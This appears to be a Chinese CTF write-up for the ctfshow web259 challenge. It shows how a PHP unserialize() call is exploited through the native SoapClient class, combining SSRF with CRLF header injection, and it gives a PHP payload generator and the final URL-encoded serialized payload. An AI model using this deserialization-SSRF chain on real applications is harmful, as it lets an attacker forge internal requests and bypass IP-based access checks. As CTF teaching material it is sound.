作者 :Yuppie001
作者主页 : 传送
本文专栏 :Web漏洞篇
🌟🌟🌟🌟🌟🌟🌟🌟
web259题目如下:
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
观察代码部分:
接受get传参的vip并进行反序列化
$vip = unserialize($_GET['vip']);
调用vip对象的getflag方法
$vip->getFlag();
源代码中没有出现任何的类和getflag方法,调用一个不存在的方法时想到触发__call魔术方法。
这里观察代码明显发现并没有相关显式的类可以利用,所以想到利用原生类进行反序列化利用。
利用下面的脚本来查看当前环境存在的可利用的原生类:
记得将相应模块配置开关打开
<?php
class MyClass {
public function __toString() {
return "MyClass instance";
}
public function __get($name) {
return $this->$name;
}
}
//get_declared_classes()获取当前php脚本中所有已声明的类
//这里的当前php脚本指的是当前运行的这个脚本文件么?包含其他文件么? 已经声明的类是什么意思,是已经存在的么?
$classes = get_declared_classes();
//这个循环遍历 $classes 数组中的每个类名
foreach ($classes as $class) {
//获取当前类的所有定义的方法
$methods = get_class_methods($class);
//遍历所有的方法名
foreach ($methods as $method) {
//判断当前类中的方法是否存在指定的魔术方法数组中
if (in_array($method, array(
// '__destruct',
// '__toString',
// '__wakeup',
'__call',
// '__callStatic',
// '__get',
// '__set',
// '__isset',
// '__unset',
// '__invoke',
// '__set_state'
))) {
// Print each class::method on a new line
echo $class . '::' . $method . "<br>\n"; // For HTML output
// echo $class . '::' . $method . "\n"; // For plain text output
}
}
}
?>
存在SoapClient原生类
SoapClient原生类:
Soapclient原生类主要作用是使 PHP 应用程序能够方便地调用远程的 SOAP 服务
开发的应用:
在编程中,假设你用 PHP 写了一个网站,需要从另外一个服务器获取一些信息(比如天气预报),而这个服务器使用的是一种叫做 SOAP 的协议。PHP 不能直接理解 SOAP 协议的数据,就像你不能直接听懂外国语言一样。这时候,Sopaclient 就起到了翻译工具的作用。
- 请求翻译:Sopaclient 把你用 PHP 语言写的请求翻译成服务器能理解的 SOAP 请求。
因为SOAP是基于 XML 的协议,所以SoapClient会将php请求数据转换为xml格式.
示例:
//创建 SoapClient 实例:
$client = new SoapClient("http://example.com/weather?wsdl");
//调用远程方法:
$response = $client->getCurrentWeather(array("city" => "Beijing"));
将php数据进行“翻译”,格式可能是这样(xml):
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wea="http://example.com/weather">
<soapenv:Header/>
<soapenv:Body>
<wea:getCurrentWeather>
<wea:city>Beijing</wea:city>
</wea:getCurrentWeather>
</soapenv:Body>
</soapenv:Envelope>
- 响应翻译:服务器返回的 SOAP 响应,Sopaclient 再把它翻译成 PHP 能理解的数据。
<?php
// 创建一个新的 SoapClient 实例,传入 WSDL 文件的 URL
$client = new SoapClient("http://example.com/weather?wsdl");
// 调用远程的 SOAP 方法,比如“getCurrentWeather”,传入所需参数
$response = $client->getCurrentWeather(array("city" => "Beijing"));
// 输出结果
print_r($response);
?>
介绍完SoapClient后接下来回归题目:
从服务器中获取HTTP_X_FORWARDED_FOR头部并分割为数组,并移除最后一个元素两次,这实际上将$ip设置为原始列表中倒数第二个IP地址。
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
观察flag.php我们发现需要使得我们的ip为127.0.0.1并且满足token等于ctfshow时会将将$flag变量写入到’flag.txt’文件中。
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
所以我们需要利用SoapClient原生类来构造SSRF(用服务器本身请求服务器),并利用CRLF来构造数据包。
现在我们在本地测试:
通过构造一个SOAP客户端,并调用了getFlag的远程SOAP服务方法,这个调用过程由PHP的__call魔术方法处理,负责发送SOAP请求并接收响应。
<?php
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test'));
$client->getFlag();
?>
uri是命名空间URI,它在SOAP消息中用于标识服务。URI通常不会指向实际的资源,而是用来标识命名空间。
location是实际的服务端点URL,即SOAP请求将发送到的服务器地址。
nc监听:
nc -lvvp 9999
请求数据包:
接下来,由于ua头可控,所以我们通过 CRLF来进行数据包的构造:
<?php
$ua = "ceshi\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));
$client->getFlag();
?>
nc监听:
黄色部分为构造的数据包,因为 Content-Length的原因,所以后面的部分全部被忽略,真实有效的数据包为黄色部分
接下来我们进行构造payload:
<?php
$ua = "ceshi\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));
echo urlencode(serialize($client));
?>
输出:
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A129%3A%22ceshi%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
传入参数:
访问flag.txt,得到flag:
不知道大家看到这里有没有疑惑,为什么构造的数据包并没有xff头但能够正确识别ip为127.0.0.1,这是为什么呢?
- 以下是个人的推测:
通过查看网站的配置发现为 nginx
在 Nginx 中配置了相关设置后,即使客户端发送的数据包中没有 X-Forwarded-For 头部,服务器也会默认追加该头部。这解释了为什么直接访问 flag.php 时,即使请求中没有 X-Forwarded-For 头部,服务器仍然会输出 “your IP is not 127.0.0.1”。
这是因为服务器在处理请求时,由代理服务器自动添加了 X-Forwarded-For 头部,用于记录客户端的真实 IP 地址。
当然,这道题也可以不用反序列化来做,直接访问bp进行抓包,添加对应的xff头和相应数据块即可获得flag